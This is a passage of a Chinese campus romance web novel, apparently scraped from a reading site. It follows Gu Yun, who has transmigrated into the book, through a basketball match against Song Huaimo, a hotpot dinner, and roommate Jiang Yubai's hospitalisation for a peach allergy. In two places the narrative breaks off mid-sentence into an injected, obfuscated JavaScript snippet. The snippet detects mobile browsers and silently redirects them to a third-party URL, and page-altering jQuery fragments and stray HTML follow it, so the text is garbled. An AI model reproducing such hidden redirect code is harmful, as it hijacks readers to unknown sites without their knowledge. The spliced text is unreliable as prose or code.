宋怀墨的态度很明显,找死的这个人和他是认识的,司机很憋屈,不敢随便处理,询问宋怀墨道:“宋总,要不要让他上来?” “不用。”宋怀墨放下车窗,侧目看着车窗外的人。 唐小酒结结巴巴地请求:“宋先生,我……您,您可以借一点钱给我吗?” 路灯光线昏暗发黄,但这样的光线足够看清唐小酒眼角含着的泪珠,以及发红的双颊。 宋怀墨的喉结滚了滚,视线从唐小酒的眼睛移到了唇瓣,“贪得无厌。” 之前他就给过唐小酒一笔钱,这么快就挥霍完了,不愧是在夜场上班。 宋怀墨厌恶地想着,再看那张和江予白相似的脸,只剩下满满的厌恶。 这句话一出,唐小酒脸色煞白,无力地咬了咬唇瓣,“宋先生,我没有,您上次给的钱……给的钱……” 他不知道该怎么解释,只结结巴巴道:“这是最后一次,求您了求您了,我真的很需要这笔钱。” 话说完,他甚至还想跪下来,顾蕴正巧看见他的膝盖弯了弯。 眼泪顺着唐小酒的脸颊滑落,落在尘土之中,很快混着灰尘消失不见。 宋怀墨坐在车内,唐小酒的膝盖几乎要挨着地面,手扶着车门,这个角度和上次一模一样,像极了江予白。 车子一直停在这里,周围有学生陆续经过,实在是丢人,宋怀墨松了口,但语气依旧冷漠:“上来。” 唐小酒像是没有听清楚,抬着眼眸愣了一下,那双眼眸看起来湿漉漉的,眼尾也发红。 宋怀墨心中冒出一股无名火,语气越发不耐烦,“我让你上来。” 唐小酒这才反应过来,手忙脚乱地站起来,想绕到另外一边上车。 但他还没来得及迈出一步,就被一只宽厚有力的大掌握住,下一秒,他坐在了宋怀墨的大腿上。 顾蕴目睹了这一切,那人上车的时候正巧与他的视线对上,顾蕴清楚地看清了那张脸。 面容楚楚可怜,唇角轻抿,身体有些单薄,看着很是瘦小。 不认识,但有点熟悉。 顾蕴已经记住了他们专业同学的长相,这张脸他并没有见过,不是江予白,也不是他们专业其他同学。 难道是原主之前认识的人吗? 顾蕴一边思考一边走,等回到宿舍脑袋里还想着那张脸。 到底是谁呢? 不想出来总感觉少了点什么。 顾蕴抬着眸子,对上了江予白的脸。 答案呼之欲出。 宋怀墨认识,且长得有点像江予白。 真相大白了,但顾蕴却不是很能接受这个答案,他戳了戳江予白,问了他一个不是很隐私的问题:“江予白,你是独生子女吗?” 江予白看了他一眼,没理他。 要是放在平时,顾蕴可能会放弃,但这会儿,总感觉有一只蚂蚁在他心口爬,他非常迫切地想要知道答案。 顾蕴戳了戳江予白,语调不由自主地放轻,“江予白~” 江予白往旁边移了移,本以为顾蕴会离开,但并没有,相反,顾蕴跟着他往里边移了移,两人之间的距离没有任何变化,江予白甚至怀疑顾蕴离他更近了。 顾蕴非常认真:“江予白,你告诉我吧。” 江予白很无语,但担心顾蕴会做出什么惊天动地的举动,还是回答了他:“是。” 这个问题不算隐私,至少在宋怀墨追他闹得沸沸扬扬时,这个问题就已经不是隐私了。 他的个人信息被人扒了出来,在学校论坛上被无数人看过讨论过。 拿一个不算隐私的信息换一份清净,江予白觉得很划算。 顾蕴没回答,他像天塌了一样,亮晶晶的眼眸变得黯淡无光,直挺的后背也垮了,跟失去意识的丧尸一样拖着重重的躯壳坐回了自己的位置。 已知,江予白是独生子,原文里唯一与江予白长相相似、且和宋怀墨搅合在一起的人是主角受唐小酒。而刚才他看到的那个人,与宋怀墨有关系,和江予白有几分相似。 那么,那个人是谁。 这是一个很简单的题,从不那么严谨的角度出发,顾蕴完全可以得出结论。 回来的路上他还在想,宋怀墨会不会不是渣男,结果一扭头,这个想法就被无情打碎,甚至碎成了渣。 那,江予白呢? 他也会变成恋爱脑,最后落到和原文一样的结局吗。 顾蕴是一个很心软的人,他和江予白相处时间不算久,但他们住在一个宿舍。 一个人在外可能会伪装,但在宿舍这种放松的地方,很多人会暴露出自己的本性。 无论在哪里,江予白人就是很好。 顾蕴扪心自问,他并不想让江予白落得原文那样的结果。 要怎么才能提醒他?顾蕴想了想,打开手机在微信公众号里搜索了半天,选了一篇非常合适的文章外放。 大学生的手机平时总是静音,顾蕴也不习惯在宿舍外放,但,他豁出去了。 没关系,不就是被谴责吗,他脸皮厚,一点也不怕。 “……男人要时刻提醒自己保持独立的人格和自我意识。不要为了迎合对方而失去自己的原则和底线,要学会在感情中坚持自己的想法和需求。”① 顾蕴眯着眼睛,不敢去看手机屏幕上的文字,他听了一部分,只觉得脑袋要炸了,实在是受不了,最后把脑袋埋进了被子里,手机则放在床头挂篮。 机器男声还在继续,顾蕴却越发清醒,他看了一眼时间,十点,虽然才放了五分钟,但这个点已经挺晚了。 顾蕴的手从被子里探出,摸着手机,如释重负地点了暂停。 以前顾蕴就经常在宿舍外放,刚才的外放让王明亮仿佛回到了一个月前,当时的他因为外放和顾蕴吵了一架。 王明亮还记得顾蕴当时气急败坏的表情,那只手仿佛握着的不是手机,而是能把人砸死的大红砖头。 当时王明亮就怂了,缩着脑袋没再敢多说一句,而现在,顾蕴又回到了从前。 但是,这放的是什么东西? 男人,不要恋爱脑 男人,要有自己的思考,不要毫无理智 恋爱脑最后会丧失…… 王明亮正要思考恋爱脑最后会丧失什么,声音戛然而止,停在了关键的位置。 顾蕴的脑袋从床帘探出,想看看江予白的反应,结果却对上王明亮的眼睛。 他这才突然想起宿舍还有一个王明亮。 王明亮的消息紧跟着过来:【兄弟,你恋爱脑了?】 顾蕴:【有人,但不是我。】 王明亮心里美滋滋的,还不等顾蕴解释和道歉,他就立马回道:【放心,兄弟我不会恋爱脑的,不用这么关心我。】 这是一个美丽的误会。 顾蕴也不好解释,索性顺着王明亮的说法说了两句,等说完再想探出脑袋去看江予白的反应,顾蕴才发现江予白戴着一个耳机。 凭借顾蕴的直觉,江予白的耳朵隔音效果应该不错。 刚才好像白扰民了。 这个方法好像行不通,顾蕴摸了摸鼻尖,有些懊恼。 - 在培训完的第三天,篮球赛如期而至。 今天天气非常给力,阳光洒在大地上,带着一丝丝暖意,驱散了凉意,微风轻拂时,带来了泥土的芬芳和花草的清新,驱散了顾蕴一连好几天的烦闷。 果真像王明亮描述的那样,篮球赛尚且还没开始,球场就挤满了人,人群包围着球场,险些跨过警卫线,挤进比赛区域。 要不是大伙都穿着篮球服,顾蕴险些以为自己误认了明星见面会。 灯牌上挂着宋怀墨的名字,阳光足够耀眼,灯牌的光也变得黯淡,但依旧能看见五彩斑斓的应援色。 宋怀墨还没上场,欢呼声此起彼伏,人声鼎沸,热闹非凡。 这种感觉在宋怀墨上场时额外明显,喧闹声大到顾蕴感觉球会被震碎,他的耳朵也快要爆炸了。 这一轮,宋怀墨和顾蕴所在的队伍同时胜出,下一场他们即将对上。 比赛开始的哨声响起,宋怀墨率先发球,他像一道闪电冲了过来,轻松躲过第一个防守球员,接着一个急停,巧妙地避开了球员的补防,就在他以为进球就在囊中时,球被顾蕴夺走。 下一秒,顾蕴一个急冲,迅速将球递给队友,成功夺下了第一分。 宋怀墨傻眼了,他瞄准夺走他球的人,这才发现竟然是顾蕴。 观众也也发现了从宋怀墨手中夺走球的人,一时间连宋怀墨的呼声都小了。 大家的注意力转向顾蕴,这才发现,这个球员也很帅,甚至隐约帅过宋怀墨。 顾蕴朝宋怀墨笑了笑,阳光透过树梢,洒在他的脸上,顾蕴的笑如春日暖阳般温暖灿烂,牙齿在阳光下闪着健康的光泽,整洁而白净。 他的笑很有感染力,仿佛能驱散一切阴霾,让人不由自主地跟着扬起嘴角。观众席一下炸开了锅,喊着顾蕴名字的声音此起彼伏,甚至覆盖了喊宋怀墨的声音。 宋怀墨脸色一下变得阴沉,这种不悦的情绪在顾蕴接二连三从他手中夺走得分后表现得更加明显。 中场休息的时候,宋怀墨咬牙切齿地凑近,“顾蕴,你抽什么风?” 顾蕴满脸无辜,朝宋怀墨笑了笑,“宋同学,我们在比赛呀,怎么了?” 宋怀墨恶狠狠地看他一眼,三个字说出口仿佛像在撕咬顾蕴的皮肉一般:“是比赛。” “对呀,宋同学很厉害,大家都看着呢。” 话里讽刺意味十足,可偏偏顾蕴笑着,宋怀墨从他的表情中根本挑不出任何错误。 实在是让人恨得牙痒痒,但后半句又提醒了宋怀墨,这里很多人看着,他要想赢,只能通过正当手段夺回比分。 还有下半场,宋怀墨握了握拳头,气得胸腔都快爆炸了。 顾蕴知道自己有点冲动了,这和他刚开始的想法完全不同,最初他根本没想要和宋怀墨对着干,原本他真的只想学习。 但是,宋怀墨真的太欠揍了。 在感情上脚踏两只船不道德也就算了,打球他也不道德,刚才偷偷摸摸想要绊倒他队友,要不是顾蕴扶了一把,人差点就摔了。 在球场大家的速度都很快,摔倒的后果宋怀墨不可能不知道,他知道还这么做,这人真的太坏了。 比赛的后场,顾蕴和宋怀墨的对决达到了高潮。比赛进入最后三十秒,顾蕴所在的队伍略胜三分,全场观众的呼吸似乎都停滞了,所有的目光都集中在宋怀墨身上。 能不能赢得比赛全靠宋怀墨这三分。 再去抢的话,争对意味实在是太过明显,顾蕴今天已经从宋怀墨手中抢了足够多的球,不差这一个了。 更何况,宋怀墨投不进这个球。 汗水顺着顾蕴的脸庞缓缓滑落,沿着下巴落在胸前,在已经被汗水浸湿的球衣上留下了斑驳的痕迹。他额前的碎发早已打湿,几缕不听话的发丝贴在皮肤上,却丝毫没有影响顾蕴的帅气,增添了几分不羁的魅力。 顾蕴抬手,用一只手臂轻轻掠过额头,擦拭掉了额间的汗。 见到这一幕, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14090284|149585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 观众席传来了尖叫,至此,宋怀墨的球擦着球筐而过,发出一声清脆的响声,然后无力地弹跳了几下,最终滚落在球场边缘。 那一刻,时间仿佛凝固了。宋怀墨的眼神中闪过一丝错愕,他紧紧抿着嘴唇,双手不自觉地握成了拳,像不甘,又像愤怒。 比赛结果已经出来了,顾蕴赢了。 宋怀墨心有不甘,恨不得直接离场。 王明亮大喊,“顾蕴!顾——” 他喊得起劲,突然间对上宋怀墨的眼睛,那一瞬间后背起了密密麻麻的鸡皮疙瘩,他的声音也越来越小,但大家替他喊出了后半个字。 王明亮怂怂地缩进了观众席,默默低着头拿出了手机,点进了宿舍的对话框:【我们赢了!!!】 王明亮:【[烟花][烟花][烟花]】 王明亮:【[烟花][烟花][烟花][烟花][烟花]】 他不敢在宋怀墨的眼皮子底下庆祝,在宿舍群里庆祝总可以了吧。 王明亮:【江哥你没来真的太可惜了!】 王明亮:【蕴哥真的无敌帅,超级无敌!】 王明亮压根没想过江予白会回他,他在宿舍群里疯完,正准备关手机的时候,看到了一条回复。 王明亮点进去看,才发现是江予白在宿舍群里发的消息。 江予白:【恭喜】 只是简单的两个字,但王明亮就像是见鬼了一样,揉了揉眼睛,不可置信地退出又点进去,才发现他没有看错,真的是恭喜两个字。 要知道江予白平时不怎么看群消息,也不爱回群消息。 这次的两个字属实让王明亮感到震撼,和顾蕴赢得比赛同等程度的震撼。 顾蕴一下场,王明亮就抱着这个消息噌噌噌地跑了过去,他举着手机,“蕴哥你快看。” 顾蕴都没来得及反应,王明亮的手机屏幕就凑到他的眼前,险些要戳进他的嘴里。 “什么东西?倒也不用激动到把手机当饭喂给我吃。” 王明亮嘿嘿一笑,摸了摸头,把手机往后挪了挪。 顾蕴这才看到江予白在群里发的两个字。 江予白回了消息。 顾蕴想了想,“我请你们吃饭吧,庆祝一下。” 王明亮:“哦豁好耶!” 顾蕴在群里传达了这个消息。 这还是铁公鸡顾蕴第一次拔毛,有史以来的第一次,在王明亮的疯狂劝说下,江予白很给面子地参加了。 聚餐时间选定今天晚上,地点选了学校附近的火锅店。 顾蕴穿书来的这个月,日子一直过得苦哈哈,原主没钱他也没钱,每天只能吃食堂,前两天成功接下那单家教,现在手里才有余钱。 要问顾蕴学校外面哪家饭店好吃,顾蕴是一问三不知,但要问他食堂哪个菜好吃,顾蕴能写八千字评价。 江予白也没怎么吃过学校外面的店,因此吃饭的地点来自于抽签。 是的,就是这么随意。 这还是三个人做出的决定。 火锅店是学校开了许久的老店,生意很好,顾蕴他们已经是提前来了,但人还是很多,好在刚好有够三个人的空位。 走进店内,一股混合着辣椒、花椒与各种香料的浓郁香气扑鼻而来,王明亮激动:“好香,怪不得生意这么好。” 顾蕴也有些期待:“人这么多,味道应该不错,我们多点几个菜!” 店内装饰以原木色为主,墙上挂着许多过往客人留下的照片和便签。 顾蕴他们一坐下,就有店员热情地走过来给他们推荐菜品,顾蕴综合三个人的意见,挑了几样。 店内虽然人多,但菜上的很快,没等多久锅底就端了上来。 王明亮在认真描述篮球赛的场景:“江哥,你不知道,蕴哥今天有多帅,我还拍了视频。” 说完,王明亮拿出视频递给江予白。 拍视频的时候,王明亮挤在前排,拍出来的画面清晰,且没被前边的人挡住。 江予白认真地看了一眼,评价:“挺不错的。” 顾蕴垂着眼眸,耳朵本就被锅底的火气熏红,听到江予白这么说,绯红从耳后蔓延到脸颊。 “王明亮大哥,收敛一点点吧。”他叹气。 顾蕴不算是比较内敛的性格,但是他禁不住这样的公开处刑,太怪了实在是太怪了。 “好吧。”王明亮摸了摸下巴,在顾蕴哀求的眼睛下,终于把这个短短时间内播放过几百次的视频关掉。 下一秒,他惊呼:“我靠我才发现,他怎么还推人啊!” 王明亮指着视频里宋怀墨,视频里宋怀墨的手几乎紧挨着一个球员的腰。 王明亮点了播放,宋怀墨的下一个动作就是推人,只不过被顾蕴拦住了。 江予白望着视频没有说话,顾蕴凑近看,“这竟然被你拍下来了,那你发也发我一份吧。” “好。”王明亮点头,当场就传了一份给顾蕴。 发完视频后,他继续道:“说到这个,我想起来了,还有一个事!他今天盯着我了,吓死我了,那个眼神差点没把我给吃了,我不就是给蕴哥加了会油吗。” 王明亮非常委屈,顾蕴摸了摸他的头,安慰道:“委屈你了明亮哥。” 说完他放低声音,悄声说道:“今天也盯我了,怪让人害怕的。所以说人真的不能恋爱脑。” 江予白:? 王明亮:? 江予白反问:“什么?” 这个话题顾蕴和江予白没在王明亮面前提起过,王明亮不知道他们两人说过什么,这会儿还以为顾蕴在说别人,他接话道:“是的啊,可吓人了,也不知道为什么有那么多人去看他打球。” 这和顾蕴想表达的大差不差,顾蕴点了点头,“是的,所以要擦亮眼睛看人。” 江予白:…… 9.密密麻麻的 鸳鸯锅内的汤汁逐渐沸腾,红汤和白汤各自翻滚着,散发出诱人的香气。 江予白有些无语,默默拨了拨筷子,打断了聊的正欢的两人,“可以吃了。” 果不其然,王明亮当下把注意力放在了锅里,没了王明亮,顾蕴这二人转也唱不下去,他也扭头转向了吃。 麻辣锅底看起来鲜香诱人,顾蕴和王明亮几乎只光顾辣锅,不太能吃辣的江予白没忍住也尝了两块。 辣味一进喉咙,就像火沿着喉咙里蔓延,在灼烧着他的嗓子,江予白被辣得咳嗽不止,红晕从他的脖颈爬上脸颊,眼睛不由自主地分泌泪水,泪水蓄满眼眶,模糊了眼前的场景,长睫被打湿,像把小扇子一样。 顾蕴侧目看到的就是这样的画面,江予白不能吃辣啊。 他连忙端了杯水递过去,抚了抚江予白的后背,试图帮他缓解咳嗽。 “原来你不能吃辣啊,江哥你悠着一点。”王明亮吃肉的动作一顿,猛地一下抬头,满脸呆滞,“早知道就让他们少放一点辣椒了。” 川渝火锅辣味十足,学校本就在一个爱吃辣的地方,他们压根就没有想过江予白会吃不了辣椒。 江予白连着喝了好几口水,又喝了一杯牛奶,喉间的辣意才消散些。 顾蕴担心地看着他,“好点了吗?” 江予白点了点头,只觉得脸颊一片滚烫,唇瓣也红肿着,他伸出指尖擦拭掉眼角的泪痕,用手背贴着脸颊降温,“没事了。” 因为这个动作,江予白脸上的肉都挤在一块,说话时声音有些含糊,像娇嗔一样,看起来不再像之前那样冷清。 顾蕴手掌动了动,只感觉刚才轻抚江予白后背的触感还存在指尖,江予白很瘦,顾蕴的手掌能清楚地感受到他的肩胛骨。 顾蕴莫名其妙地捞了一块肉放在江予白的盘子里,“慢点吃。” 江予白浅声道:“谢谢。” 江予白吃饭动作很优雅,速度不慢但是很端庄,看起来赏心悦目。他虽然不太喜欢别人给他夹菜,但还是吃掉了顾蕴给他夹的。 适才刚咽下去,电话就响了起来。 三个人看了一圈,才发现是江予白的手机。 江予白看了一眼屏幕,面上像蒙了一层冰霜。 顾蕴望向王明亮,无声地用口型询问:“谁啊?” 王明亮摇摇头,“不知道。” 江予白电话一接通,两人同时屏住呼吸,连东西也没吃了,就这么静静地看着江予白。 江予白接通电话,对面说了一长串,他只嗯了一句,安静了一会之后,他回道:“我在和室友吃饭。” 对话那头显然没料到江予白会和室友出去吃饭,明显愣了一下后,语气又非常严肃道:“我不管你在和谁吃饭,现在、马上、立刻必须给我回来。” 江予白眉头皱都没皱一下,默默地把手机放远,不冷不淡地应了一句:“好,我现在回来。” 电话被挂断,江予白站了起来,“我回家一趟,你们慢慢吃。” “哦好,没出什么事吧?”顾蕴站起来给江予白让位置,关心地询问。 顾蕴没有家长,但他见过高中同学和家里人相处方式。原文里江予白家庭和谐,父母关系不错,应该不会打断江予白和同学相处吧。 然而顾蕴得到了一个出乎他预料的答案。 江予白:“没有。” 江予白拿起挂在椅子上的风衣,跟顾蕴和王明亮两人说了一句就走了。 江予白的身影消失在火锅店,顾蕴还依旧望着门口,王明亮伸出五指在他眼前挥了挥,“怎么了?” “没什么,快吃吧。”顾蕴回过神,心道估计是他想多了。 江予白回家的时候正赶上下班高峰期,路上堵车,等到家差不多七点。 天色暗沉,院里却灯火通明,一整片天也被照得通亮,完全分不清昼夜。 江予白推门进去的时候,一整桌人都在等着他,也不知道他们在闲聊些什么,总之见到江予白的那一刻,所有人瞬间安静。 估计是又在讨论他。 江予白没什么反应,面无表情地走了过去,环视一周后发现,餐桌上根本就没有留他的位置。 江予白的视线移到主位,对方没什么反应,他收回视线,什么话也没说,扭头准备离开。 还是江予白的姑姑先站起来吆喝:“小白终于回来了,瞧这,咱们通知得太晚了。快来坐快来坐,就坐姑姑旁边怎么样?阿姨,快来加一把椅子和碗筷。” 江予白对位置不太挑,总归坐哪都是要面对不喜欢的人,他坐下后非常直白地开口:“我还以为你们不想我回来呢。” 桌上人面色一变,他们说归说,但都是背后开口,当着江予白的面都怪会伪装,向来表现得和和气气,哪成想江予白这么直白,开口便直接戳穿。 姑姑:“怎么会呢,小白你别多想,这么久没见,我们都挺想你的。” 江予白反问:“是想我活没活着吗?” 姑姑被哽了一下,“小白,你怎么会这么想姑姑,姑姑就怕你过得不好,怎么会想你活没活着呢。” 江予白的父亲看不下去了,呵斥道:“江予白,怎么跟你姑姑说话的,还不道歉。” 江予白看了他一眼,没理。 江父被气到了,猛地一摔筷子,将桌上的人吓得够呛,“你什么态度?” 江予白没回,这次连看都没看他。 江父这一拳就好像打在了棉花上,软趴趴的根本不起作用,江予白没什么反应,反倒是他的力度还让他自己刹不住车,往前冲摔了一跤。 “好了,吃饭。”江予白的爷爷拍板,大家这才安静下来。 江予白在火锅店吃了一些,但吃的不多就被叫回来了,在路上折腾了一下,肚子早就饿了,但这会儿看着一桌子辣菜,压根没什么胃口。 他扫了一圈,才发现桌上的菜竟然连蔬菜也放了辣椒,煞费苦心把他喊回来就为了折腾他一顿? 江予白姑姑见他没夹什么菜,特意夹了一块辣子鸡丁放在他碗里。 鸡丁在热油的翻滚中变得金黄酥脆,辣椒更是像不要钱一样,沾满了一整块鸡丁,只是放在饭碗里的功夫,碗里的米饭也粘上了辣油,对于吃不了辣的人来说完全是一种折磨。 江予白把被污染的那一块米饭挑出来放在盘子里,“姑姑,您 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江父吃瘪,还没来得及怼回去,江予白爷爷说道:“小白有自己的考量,不过我看这件事也确实差不多了,找个合适的机会跟宋家谈谈,定下来吧。” 江家靠江予白奶奶发家,江予白奶奶去世后,实权便落到了江予白爷爷手中,但他并不懂如何经营,如今江家早已败落,只剩下外边的壳子。 江父和江予白姑姑都是烂泥巴扶不上墙,愚蠢得很,只顾着内斗,全然不会经营公司,一心想着江予白和宋家联姻谋好处,江家唯一扶得上台面的,也只有江予白一人。 江予白由奶奶抚养长大,自从奶奶去世之后,这个家回不回对他没有什么区别。 他能回来,也全是因为奶奶遗物在江爷爷手里握着。 每次回家他都闹得很难看,可老爷子这个脑子不清醒的,回回都喊他回去,也不知道图个什么。 江予白夹了一筷子看上去没那么辣的菜,尝了两口后放下,没反驳江老爷子说的话。 他现在拒绝,倒不如等两家谈好了再拒绝好,到时候事情闹得更大更难堪,最好是收不回场面。 江老爷子还以为江予白答应了,当下喜笑颜开,连连喊人给江予白夹菜。 江予白姑姑见了,嘀咕:“还以为有多清高,这什么也没干就答应了。” 江予白朝她笑了笑,扭头跟老爷子告状:“姑姑好像不是很满意呢,不如问问宋家,看有没有人愿意和姑姑结婚。” 江予白姑姑愤怒:“你这说的什么话。” 江予白没再吃,江老爷子刚喊人给他夹的菜一筷子没动,就这么直接离开了。 他也没直接回去,就沿着桥转了一圈。 湖面风大,江予白扯了扯衣服将自己包裹住,慢悠悠地绕回了宿舍。 宿舍两人刚收拾完,正准备关灯,听到门开的动静,一看才发现是江予白。 江予白的头发被风吹得乱糟糟的,他穿的不厚,回来的时候脸都冻红了。 顾蕴一看,他的脖颈处又冒出了些红点点,密密麻麻的,看着像吻痕一样,但比吻痕浅一点。 10.愧疚 顾蕴直勾勾地盯着江予白的脖颈,一时间心情复杂不知道说什么,只好明知故问:“你回来了?” “嗯。”江予白随便应了一声,跟那些人相处的过程实在是让人疲倦,他此刻已经没有什么力气再跟顾蕴说话。 江予白抓了抓脖颈,绕过顾蕴,准备简单地清洗一下就躺床上睡觉。 从家里到宿舍的路上也没有镜子,江予白看不到身上的痕迹,疲倦盖过了其它,他压根没有想别的。 顾蕴让出位置给江予白,江予白去洗漱,他就坐在位置上,拿手机疯狂搜索吻痕长什么样。 顾蕴高中管得严,早恋的同学不多,教导主任都是见一对就拆一对,顾蕴也没有多余的心思放在谈恋爱上,因此他完全没见过吻痕。 这会儿只能临时抱佛脚,疯狂找网图,再与江予白脖颈上的痕迹对比。 怎么看都有点像啊。 顾蕴发愁,抿着唇不信邪地继续搜索,手机不负众望地给他推了另外一种可能:过敏。 好像也挺像的。 在顾蕴比对这两种情况哪种与江予白身上的痕迹更像时,江予白从洗漱间走了出来。 许是因为太累了,往常整齐扣好的睡衣扣子此刻松散开来,衣襟微敞,露出了胸前大片洁白的肌肤和漂亮的锁骨,白皙细腻的皮肤上布满了红色的斑点,看着触目惊心。 再往下看,江予白下半身就穿着一条宽松的沙滩裤,修长白皙的长腿暴露在空气之中。 顾蕴的视线扫过,像被烫到一样,立马收了回来。 明明同为男生,怎么江予白给人的感觉就是不一样? 顾蕴抓了抓乱糟糟的头发,指了指江予白的脖子:“江予白,你是不是过敏了?” 顾蕴的声音像风一样飘到江予白耳边,虚无缥缈的,江予白险些没抓住,好半天才反应过来,他微抬眸子,有些迟钝:“什么?” 脑袋越来越重,身上的红痕也越发明显,呼吸好像快要停住了,再看顾蕴,却发现他的脑袋一直在晃。 顾蕴还等着江予白承认,稍不留神,一回头就看见江予白晃晃悠悠的,手扶着桌子,但没扶稳,下一秒直挺挺地往地上摔。 顾蕴被吓一跳,连忙上前,伸手抱住了他。 “怎么了怎么了?”王明亮探出脑袋,惊慌失措。 顾蕴第一次碰到这种场面,他强迫自己冷静下来,指挥王明亮:“可能是严重过敏,快打120。” 他刚才看过相关的推文,对推文里的内容还有印象,顾蕴把江予白放平,回忆着推文里的步骤,按着步骤一步一步做。 一系列操作做完,江予白还没醒。 顾蕴心乱如麻,一直到救护车来的那一刻,他的心依旧高高悬挂在空中。 江予白千万别死啊!顾蕴在心底许愿。 他跟着救护车到了医院,辅导员慢他们一步,等辅导员到医院时,医生已经检查出江予白晕倒的原因了。 “顾蕴?” 见到顾蕴的那一刻,辅导员有些怔愣,在他印象中,顾蕴是一个不够热心肠的学生,陪室友来医院不太像他能做出来的事。 顾蕴站起来,喊了句老师,又搬了条凳子给辅导员坐下。 辅导员很是意外,喘了两口气缓了缓,坐下之后询问:“医生怎么说?” 事情发生在下班的点,她是从家里赶过来的,王明亮在电话里也没说清楚,她生怕人出意外,到了医院就直奔病房,累得汗都跑出来了。 顾蕴倒了杯水递过去,解释道:“医生说是过敏,过敏源还在查,不过应该没什么大问题。” 江予白白天好好的,晚上跟他们一起吃了一顿火锅,再然后被家人喊了回去。在家总不能出问题吧,那问题很有可能出现在火锅身上。 这顿火锅是顾蕴请的。要是江予白真出什么问题,顾蕴得内疚一辈子。 江予白平躺在床上,双手搭在胸前,脸颊发着红,看起来可怜的要命,顾蕴都不忍心看。 “好,没事就好。”辅导员喝了口水,苦口婆心地交代,“过敏要小心,平时吃东西都得注意,你和他一个宿舍,也多多提醒他,可千万不能出事啊。” 顾蕴扯了扯衣袖,非常认真地承诺道:“老师,我以后会注意的。” 辅导员又问了几句,跟顾蕴交代了一些注意事项,这才离开,留下顾蕴一个人在病房守着。 事情发生的太紧急了,顾蕴担心江予白需要住一段时间院需要临时从宿舍拿东西过来,便留了王明亮在宿舍,顾蕴则跟着救护车过来。 顾蕴跟王明亮说明了情况之后,也没回宿舍,就搬了条椅子坐在床边,手肘撑着床,手背撑着脸,认真地看着。 怪不得是白月光一样的存在,连脸红肿着也难掩绝色。 然而下一秒,顾蕴就看见江予白伸着手想要挠脸,这把他吓得够呛。 昏睡的人下手没轻没重,万一把脸挠坏了。顾蕴完全没有多想,下意识地伸手握住江予白的手。 江予白的手纤细,他虽不矮,但骨架比顾蕴小,顾蕴的手掌将他的手腕完全裹住,掌心传来的温度将他的手腕捂热,但脸颊身上的痒意难以消散。 手被人握住,江予白难受的直哼哼,声音小小的,像撒娇一样,哼的人心痒痒。 顾蕴身子一僵,险些把江予白的手甩了出去,这下放开也不是,握着也不是,完全是进退两难。 顾蕴握着他的双手塞进了被子里,怕江予白挣脱开,走之前用被子把他完全包裹住,像蚕宝宝一样只留了一个脑袋在外边。 他找了块毛巾打湿,贴在江予白的脸上,帮他缓和痒意,这么一做江予白果真老实了许多,刚才还在挣扎的双臂现在安安分分地待在被子里。 对方过敏很有可能有他的责任,顾蕴都怎么说都有些愧疚,又担心江予白睡着会把脸挠坏,晚上他也没回去,就着凳子趴在床边熬了一晚,江予白醒来时就瞧见这一幕。 入眼是一片雪白,周围满是消毒水的气味,他的手一动,碰到了一个毛茸茸的东西,原以为是毛绒玩偶,再一看,竟然是一个脑袋。 江予白偏过身想要看是谁,还没来得及看清楚,那个脑袋就抬了起来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105532|149585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “顾蕴?”江予白有点意外,“你怎么在这?” 顾蕴揉了揉发麻的胳膊,“你过敏休克了,昨晚送你过来,你现在感觉怎么样了,还痒吗?” 江予白摸了摸脸,“不痒了。” 顾蕴:“那就好,你先等我一下,我去买早餐。” 说完不等江予白回答,顾蕴一溜烟就跑了出去。 江予白拿出手机,第一条未读消息就是辅导员给他发的。 辅导员:小江,我给你的家人打过电话,他们比较忙,没法过来,你有什么事需要帮忙就跟护士说,假我已经帮你请好了,不用担心。 江予白嘴角勾起一抹冷笑,将手机丢在一边。 真忙还是假忙他能不知道吗,不过是不想来的托辞罢了,他生病他们哪次来过。 江予白敛着眸子捡着手机翻了翻,一一清理掉未读消息后,又把手机放在一边,睁着眼睛躺在床上望着天花板,周围的消毒水气味让他额外厌烦。 他胡思乱想着,门就被推开了。 也不知道顾蕴是装了翅膀还是怎么,嗖的一下出门,嗖的一下又回来了,再回来时,他的手里提着两杯稀饭四个包子。 顾蕴递了过去,“快吃点垫垫肚子,我昨天打听了,这是附近医院最受欢迎的早餐店,买的早餐里面也没有你的过敏源,可以放心吃。” 火锅店内有水果,江予白对桃子皮过敏,顾蕴记忆力一向好,自然记得火锅店的水果里有桃子这一种,这样一看,江予白过敏完全是他的锅。 江予白接过顾蕴递来的早餐,认真地道了声谢,半晌后突然问:“顾蕴,你昨晚没有回去吗?” 顾蕴还不知道怎么跟江予白解释,神经依旧紧绷着,听到对方喊他的名字,猛地一下抬头,嘴中含着的包子还没来得及咽下去,腮帮鼓囊囊的,满脸疑惑:“啊?” 江予白好脾气地又问了一遍:“你昨晚一直在这吗?” 半夜他迷迷糊糊醒了几次,能感受到有人帮他换了好几次湿毛巾,昨晚肯定是有人在的。 顾蕴点了点头,黑黝黝的眼珠子望着江予白,完全不明白江予白怎么会关注他回没回去,而不是关注他自己因为什么过敏才进的医院。 江予白看着他,语气有点低沉,又道了声谢:“谢谢。” 顾蕴把拍下来的照片发给江予白,“没事,这是医生检查出来的过敏源,你平时要多注意。” 江予白查看了一眼图片,“好。” 顾蕴喉结滚了滚,认错的态度非常非常诚恳:“你昨晚是因为桃子皮过敏,对不起啊我不知道,火锅店的水果里有桃子,我没注意到。” 